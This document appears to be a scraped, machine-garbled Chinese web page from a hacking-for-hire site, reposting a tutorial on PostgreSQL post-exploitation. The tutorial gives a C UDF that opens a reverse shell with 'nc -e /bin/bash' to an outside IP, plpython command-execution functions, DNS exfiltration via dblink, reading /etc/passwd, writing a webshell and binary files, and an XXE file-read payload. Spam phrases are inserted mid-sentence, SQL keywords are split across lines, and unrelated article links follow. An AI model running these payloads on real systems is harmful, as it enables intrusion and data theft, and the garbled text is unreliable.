sqlCREATEORREPLACEFUNCTION

hacker5年前关于黑客接单1141

大致和 MySQL 类似,有一些自变量不一样。实际就已不举例说明,能看这篇小结: *** 黑客大批量侵入网站教程
除此之外,运用 sqlmap 也是一个非常好的 *** 。

0x02 运行命令


C

sqlmap 得出的好多个 UDF 在我当地检测并失败,因此更好是的方式是自身编译程序一个动态链接库。
依据官方网文本文档,我们要界定一个 PG_MODULE_MAGIC。在 PostgreSQL 这个是以便 Postgresql 的安全性体制(大约?),在 8.2 之后必须认证这一 magic block,要不然,在加进动态链接库的情况下会出错:黑客攻击网址初级教程

ERROR:  incompatible library "xxx.so": missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

实行DOS命令的动态链接库源代码为:

#!c  
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

text *exec()
{
    system("nc -e /bin/bash 10.211.55.2 9999");
}

运用以下指令编译程序 .so 文档:

#!bash
gcc 1.c -I`pg_config --includedir-server` -fPIC -shared -o udf.so

在 pgsql 里实行:

#!sql
CREATE OR REPLACE FUNCTION exec()  RETURNS text AS  '/tmp/1.so', 'exec' LANGUAGE C STRICT;
select exec();

监视的 9999 端口号获得一个 shell:

Python

默认设置 PostgreSQL 不容易安裝 Python 的拓展,在 Ubuntu 下能够 根据:

#!bash
apt-get install postgresql-plpython-9.1

开展安裝,除开 python 的拓展,也有 sh、perl、ruby 这些。
安裝进行后,更先是建立一个 UDF 来实行我们要实行的指令:

#!sql
CREATE FUNCTION system (a text)
  RETURNS text
AS $$
  import os
  return os.popen(a).read()
$$ LANGUAGE plpython2u;

在其中的 plpython2u 能够 运用以下句子获得:

select * from pg_language;

根据黑客攻击网址初级教程我们可以依据回到来分辨运用哪一个語言(plpython2u、plpythonu、plpython3u 这些)。

建立好 UDF 后,立即启用以下句子就可以:

#!sql
select system('ls -la');

除此之外,sh、ruby 等同样,能够 参照官方网文本文档来写一个 UDF。

0x03 DNS 恳求读取数据


一样的,PostgreSQL 能够 根据 DNS Request 一样读取数据,在盲注的状况下。采用的一个拓展称为 dblink,能够 根据以下指令打开:

#!sql
C
REATE EXTENSION dblink

然后运作以下句子,获得当今数据库查询客户名字:

#!sql
SELECT * FROM dblink('host='||(select user)||'.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);

远程控制获得到恳求內容:

0x04 读写能力文档


PostgreSQL 读取文件尽管一些睾丸疼,可是還是能够 载入的:

#!sql
CREATE TABLE temptable(t text);
COPY temptable FROM '/etc/passwd';
SELECT * FROM temptable limit 1 offset 0;

载入完毕后:

#!sql
DROP TABLE temptable;

写文档分成2个一部分,一个是写 webshell,此外一个是写二进制文件。
写 webshell 十分简易,运用:黑客攻击网址初级教程=and

#!php
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

就可以写一个文档。
依据疯子的这一篇贴子:zone.wooyun.org/content/4971,说成能够 运用 PostgreSQL 的“大目标数据信息”来写,可是我检测是不成功的。出错以下:

#!bash
ERROR:  pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378

用 COPY 的 FORMAT 位 binary 来写文档得话,会被 PostgreSQL 再加好多个字节数,造成不可以鉴别为 ELF 文档。
事实上,阅读文章官方网文本文档得知,写的文档每一页不可以超出 2KB,因此我们要把数据信息按段:

#!sql
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INT
O pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/test.so');
SELECT lo_unlink(12345);

在其中每一段必须不大于 2KB,那样就可以取得成功载入:

0x05 XXE


老版本的 PostgreSQL 存有 XXE 系统漏洞。实际能看本文: *** 黑客网站入侵初级教程
大致便是实行句子:

#!sql
select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');

能够 获得一些数据信息,还可以开展 SSRF 等。但是由于时代好长时间,将会许多 都修补已过,因此做为一个保存计划方案,将会会出现意外之喜。

相关文章

零基础学化妆轻松入门(附详细步骤和方法)适

零基础学化妆轻松入门(附详细步骤和方法)适

很多人都对化妆很陌生,因为从来都没接触过化妆,感觉学化妆会很困难,下面老师就来根据零基础学化妆的学生来整理一套最全面的化妆教程,希望能对大家的学习有一定的帮助。 零基础学化妆的第一步:洁面 洁...

网站SEO优化中必须掌握的10个基础

网站SEO优化中必须掌握的10个基础

很多站长千辛万苦好不容易做好了一个网站,但却因为操作失误,而导致网站迟迟没有排名及流量,或者是网站做了很久,却没有任何变化,出现这种情况的主要原因是网站的基础没有做好,而且很多优化人员对SEO优化过于...

怎么训练出一只乖巧泰迪狗(泰迪狗狗基础训练

怎么训练出一只乖巧泰迪狗(泰迪狗狗基础训练

刚把一只小泰迪犬抱回家时你是不是非常兴奋呢!可是兴奋过后面对一个弱小而活跃的生命,没有经验的你难免手忙脚乱一番。想让泰迪狗狗乖乖的听话,自然是离不开的就是汪主的耐心的训导,不会训练狗狗的汪主也挺多的,...

SEO新手入门需要提升哪些基础技能

SEO新手入门需要提升哪些基础技能

新手入门SEO有些基础知识基础技能需要掌握好,对以后的发展有着重要作用,其中有些技能会影响这整体的SEO工作。优就业沈阳SEO培训小编整理下SEO新手入门需要提升哪些技能仅供参考。 1、网站分析与策...

seo优化基础入门知识篇(seo常用优化技巧)

seo优化基础入门知识篇(seo常用优化技巧)

SEO优化是一件相当复杂的事情,作为一个SEO人员刚开始的时候不知道具体做哪些事情?今天作为一个过来人的壹壹汇聚网站推广服务小编帮大家整理了一份SEO教程的10大框架,从10个维度讲解下SEO的奥秘!...

查看笔记本配置?零基础笔记本选购指南

查看笔记本配置?零基础笔记本选购指南

查看笔记本配置(零基础笔记本选购指南)事先声明: 第一,我的回答不适合那些笔记本大佬,都是专为笔记本小白而写,一看就会的那种。第二,实体店万万不能去!不要抱有侥幸心理,【XX自营】【XX旗舰店】【品...